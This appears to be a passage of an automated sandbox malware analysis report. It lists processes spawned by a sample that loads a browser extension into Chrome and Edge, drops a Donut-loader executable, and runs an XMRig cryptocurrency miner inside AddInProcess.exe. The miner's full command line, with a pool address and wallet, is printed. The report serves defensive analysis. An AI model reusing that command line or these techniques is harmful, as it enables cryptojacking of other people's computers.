Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000001.00000002.4116525327.000001D09B6C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000001.00000002.4137105635.000001D0ABDF5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	23:02:05
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe"
Imagebase:	0x2a5b9700000
File size:	66'560 bytes
MD5 hash:	8C4465565BB876235F68BCDDCCA4F3A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000002.00000002.2015231668.000002A5B9B80000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:02:06
Start date:	23/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	23:02:07
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:02:07
Start date:	23/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:02:07
Start date:	23/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	23:02:07
Start date:	23/04/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 468 -p 7508 -ip 7508
Imagebase:	0x7ff645850000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:02:07
Start date:	23/04/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7508 -s 1516
Imagebase:	0x7ff645850000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:02:08
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	23:02:09
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1988,i,7184690276915472336,9481308763283154706,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:02:08
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1924 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	23:02:09
Start date:	23/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1964,i,18268589753722857029,6653790801772642783,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	23:02:14
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6680 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:02:14
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6956 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:02:20
Start date:	23/04/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 185.196.10.233:35662 -u ZEPHs72fKDmidnGGBpgHXJHNdpe49PRJa1tvHRycwAPy9VLQpybiQf527biDskd3jSJyDZY5UbzexC3Fnoxu4rBvgyx1b5vnkJf.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=50
Imagebase:	0x1978e120000
File size:	42'800 bytes
MD5 hash:	929EA1AF28AFEA2A3311FD4297425C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000014.00000002.4120488458.000001978E306000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000014.00000002.4110650202.0000000140465000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000014.00000002.4110650202.0000000140465000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000014.00000002.4120488458.000001978E2D8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000014.00000002.4110650202.0000000140799000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000014.00000002.4120488458.000001978E339000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000014.00000002.4110650202.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	23:02:21
Start date:	23/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	23:02:22
Start date:	23/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s lfsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	23:02:23
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7300 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Imagebase:	0x7ff622900000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:02:23
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7300 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Imagebase:	0x7ff622900000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	23:02:34
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	23:02:34
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2120,i,14171565827234090732,9899416858446876294,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	23:02:42
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	23:02:43
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2028,i,6617554079144185053,3298712530362425133,262144 /prefetch:3
Imagebase:	0x7ff71e800000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	23:03:10
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6628 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	23:05:10
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=3028 --field-trial-handle=2104,i,7062802444683946307,12372050884922623909,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFD9B971B44 Relevance: 2.3, Strings: 1, Instructions: 1024COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9B971EF9

Memory Dump Source

Source File: 00000000.00000002.1684157010.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b970000_zlONcFaXkc.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 8b3b52f09a08236f0a01457eb75259a26674e5b2309595aa317d53df174bf572
Instruction ID: 66c1b5f6a5f3f1096e36026d0a3b01746a2dcc26cd888dd152044d574ae2e71f
Opcode Fuzzy Hash: 8b3b52f09a08236f0a01457eb75259a26674e5b2309595aa317d53df174bf572
Instruction Fuzzy Hash: F952A312B3FE8E1FE7A597AC04B523427D2EF9A640B5A41BBD44DC72F6ED18E9064301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A1A51 Relevance: .8, Instructions: 847COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1683597282.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_zlONcFaXkc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b15bad9cbfb635fb788f209e65d197d59a1272860a0162092285b96ec6f67c0
Instruction ID: 615b38cdda9cd982b0354656cbfea27dd76571fe6b7174064bc7c45b5953f0e5
Opcode Fuzzy Hash: 3b15bad9cbfb635fb788f209e65d197d59a1272860a0162092285b96ec6f67c0
Instruction Fuzzy Hash: 7E42C230B0A90D8FEBB8EF5CC865A6877E1EF99301F1541BAD40DC72B6DE24AD468750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A1C44 Relevance: .6, Instructions: 561COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1683597282.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_zlONcFaXkc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da94c2355f98d4561a32a2d499c6c90ec05541ac3f85cb101e370ee4e2c7ea17
Instruction ID: a599f2f2382e62d93893b57e8b0814ae1a64a61adb8950a24658fcc9e0ff071f
Opcode Fuzzy Hash: da94c2355f98d4561a32a2d499c6c90ec05541ac3f85cb101e370ee4e2c7ea17
Instruction Fuzzy Hash: 00F10531A09A1D4FD76CEB98889667873D1EF59300F2502B9C99FC72A2DE24AD53C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A5A62 Relevance: 2.0, Strings: 1, Instructions: 707COMMON

Download Yara Rule

Strings

s?, xrefs: 00007FFD9B8A5B76

Memory Dump Source

Source File: 00000000.00000002.1683597282.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_zlONcFaXkc.jbxd

Similarity

API ID:
String ID: s?
API String ID: 0-1447400340
Opcode ID: a776097ebb6106e330eb96d45c11f8fa35bf41daf12e4bd5ef19ee3648ce1c27
Instruction ID: 249aad128faa82fb710c9c2321602ebc948cf5d4f9d125ada1289792094b2e54
Opcode Fuzzy Hash: a776097ebb6106e330eb96d45c11f8fa35bf41daf12e4bd5ef19ee3648ce1c27
Instruction Fuzzy Hash: D232E460B0DA4E8FEBA9EB5C94716A473A2FF68300F1501B9D40DCB2D7DD25BD828791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A4D6C Relevance: 1.8, Strings: 1, Instructions: 597COMMON

Download Yara Rule

Strings

s?, xrefs: 00007FFD9B8A4EB6, 00007FFD9B8A4F23, 00007FFD9B8A4F71, 00007FFD9B8A4FBF, 00007FFD9B8A500D, 00007FFD9B8A505B, 00007FFD9B8A50A9, 00007FFD9B8A50F7, 00007FFD9B8A5145, 00007FFD9B8A5193, 00007FFD9B8A51E1, 00007FFD9B8A522F, 00007FFD9B8A527D, 00007FFD9B8A52CB, 00007FFD9B8A5316

Memory Dump Source

Source File: 00000000.00000002.1683597282.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_zlONcFaXkc.jbxd

Similarity

API ID:
String ID: s?
API String ID: 0-1447400340
Opcode ID: 45b251ffd27ce9833d0e807930cae1c8201ec4099b8b5cd860b9c25e9aad0d59
Instruction ID: 215a30452b4f8332c0c13a66e2b41a14927261efce507cca18a5cc59b57ddb3c
Opcode Fuzzy Hash: 45b251ffd27ce9833d0e807930cae1c8201ec4099b8b5cd860b9c25e9aad0d59
Instruction Fuzzy Hash: D012B310B0A94D8FF7A4DB6C847476573E2EFAA340F2541FAD40CCB2B6DE256E858760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A1549 Relevance: 1.6, Strings: 1, Instructions: 327COMMON

Download Yara Rule

Strings

-Y_H, xrefs: 00007FFD9B8A15F2

Memory Dump Source

Source File: 00000000.00000002.1683597282.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_zlONcFaXkc.jbxd

Similarity

API ID:
String ID: -Y_H
API String ID: 0-1431647737
Opcode ID: e3c20bbef74286ddaa0aa91fad9ccfc21c53aa2adf60fada8e4f1a72d6599253
Instruction ID: 2108c921503c80a691e9459379bc75f91976eed7dac0aefe2fd1bfefe4ea547d
Opcode Fuzzy Hash: e3c20bbef74286ddaa0aa91fad9ccfc21c53aa2adf60fada8e4f1a72d6599253
Instruction Fuzzy Hash: 8DB1C661A0EA888FE759DF3C98347A97BE1EF6B344F2100EBD448CB2E6DA351911C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A6E2B Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

s?, xrefs: 00007FFD9B8A6C27

Memory Dump Source

Source File: 00000000.00000002.1683597282.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_zlONcFaXkc.jbxd

Similarity

API ID:
String ID: s?
API String ID: 0-1447400340
Opcode ID: 14d07a3ae1979b3d33c1f267f55942792d0089a559f4039683f90658cfe93195
Instruction ID: bf6a76d83fb60144bc88768538da0623c5241a607e221e102b4017915a148d50
Opcode Fuzzy Hash: 14d07a3ae1979b3d33c1f267f55942792d0089a559f4039683f90658cfe93195
Instruction Fuzzy Hash: 9B310A5170E98D8FF7A9976C847526027D2EFAE340B2A01FAD419CB1FADD252E418361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A6BDF Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

s?, xrefs: 00007FFD9B8A6C27

Memory Dump Source

Source File: 00000000.00000002.1683597282.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_zlONcFaXkc.jbxd

Similarity

API ID:
String ID: s?
API String ID: 0-1447400340
Opcode ID: 4618568fcb63b7251d46c7f22dd8dd8baf6ea16e67bd22ee91cecb43e62bac0c
Instruction ID: f590fd42f74497ceefcee8ecabdc8610d08a1166e4f5047e51462a25d5298661
Opcode Fuzzy Hash: 4618568fcb63b7251d46c7f22dd8dd8baf6ea16e67bd22ee91cecb43e62bac0c
Instruction Fuzzy Hash: 83213892B0E9CD8FE7A9977C447626017D2DF6E38072901FAE45CCB1E7EC192D418362

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA510D1 Relevance: .6, Instructions: 642COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1685015849.00007FFD9BA50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba50000_zlONcFaXkc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6760be3273b1e1d0068fade34ad6a5fe4c3eece4fad0d6664a8de327cceff158
Instruction ID: 3ab3d13108c9d05cc4f9ee8d5918777c51f1609f1e1d481306f3dc564de131c6
Opcode Fuzzy Hash: 6760be3273b1e1d0068fade34ad6a5fe4c3eece4fad0d6664a8de327cceff158
Instruction Fuzzy Hash: 5E123062B1A94D4FE7B8976C84752BD23D2EFE9390F4501BAD00DC73E6DE69AE024341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B972481 Relevance: .6, Instructions: 562COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1684157010.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b970000_zlONcFaXkc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f3e8b80bf914a44c329ba5dc12eb7a405d8b45b7fce55a5f0d77374fe565c0a
Instruction ID: f603091b717fc48eae9a2d965758c4dcc6cc93cd0e99d0abdda02f61b8f743f3
Opcode Fuzzy Hash: 2f3e8b80bf914a44c329ba5dc12eb7a405d8b45b7fce55a5f0d77374fe565c0a
Instruction Fuzzy Hash: 46F19611B3FE4F6AE6B5A7E800B527923D2EF99350F56027BD44DC32E6DD18EA428241

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A1378 Relevance: .5, Instructions: 452COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1683597282.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_zlONcFaXkc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edc7112986b0bbc1e76c5d0f9894570e75233c6ffb7e48617900b5c326bd7606
Instruction ID: 2a64fbff391e3cee8bbeefd1f374c47d967a2f358a5704cf106585d14b02ed4c
Opcode Fuzzy Hash: edc7112986b0bbc1e76c5d0f9894570e75233c6ffb7e48617900b5c326bd7606
Instruction Fuzzy Hash: 3FE1E7707099498FEB58EB2CC464A7577E1FFA9304B2541BBD00ECB2A6DE35AD418741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA52AA5 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1685015849.00007FFD9BA50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba50000_zlONcFaXkc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac3e8c0f11a0a7875e322d72aae27718c2c7b2aba907bd876ee8231f9741b9b7
Instruction ID: b391d475df31cbcb789b2a1ae9704e30477010578f9c5f911ad5320804018fe7
Opcode Fuzzy Hash: ac3e8c0f11a0a7875e322d72aae27718c2c7b2aba907bd876ee8231f9741b9b7
Instruction Fuzzy Hash: 6291F430A09B4D4FEB64EBA8C8557E8BBE0EF55310F0141BAD04DC71A2DB64A985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA500B8 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1685015849.00007FFD9BA50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba50000_zlONcFaXkc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6e307d8e9e3bc9d047e567ee9249ce2a2d8481b77abc8b0ded1d88cd6276db9
Instruction ID: f5cd6e6200fd613317edb49b444df16f2ac4f74b69ba51e93ad37ee0df645de2
Opcode Fuzzy Hash: b6e307d8e9e3bc9d047e567ee9249ce2a2d8481b77abc8b0ded1d88cd6276db9
Instruction Fuzzy Hash: 3C818430B09A4E8FEB98DFA8C465BA973D1EF65344F1144BAD409C71D9DE74EA42C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA50098 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1685015849.00007FFD9BA50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA50000, based on PE: false

Joe Sandbox IDA Plugin

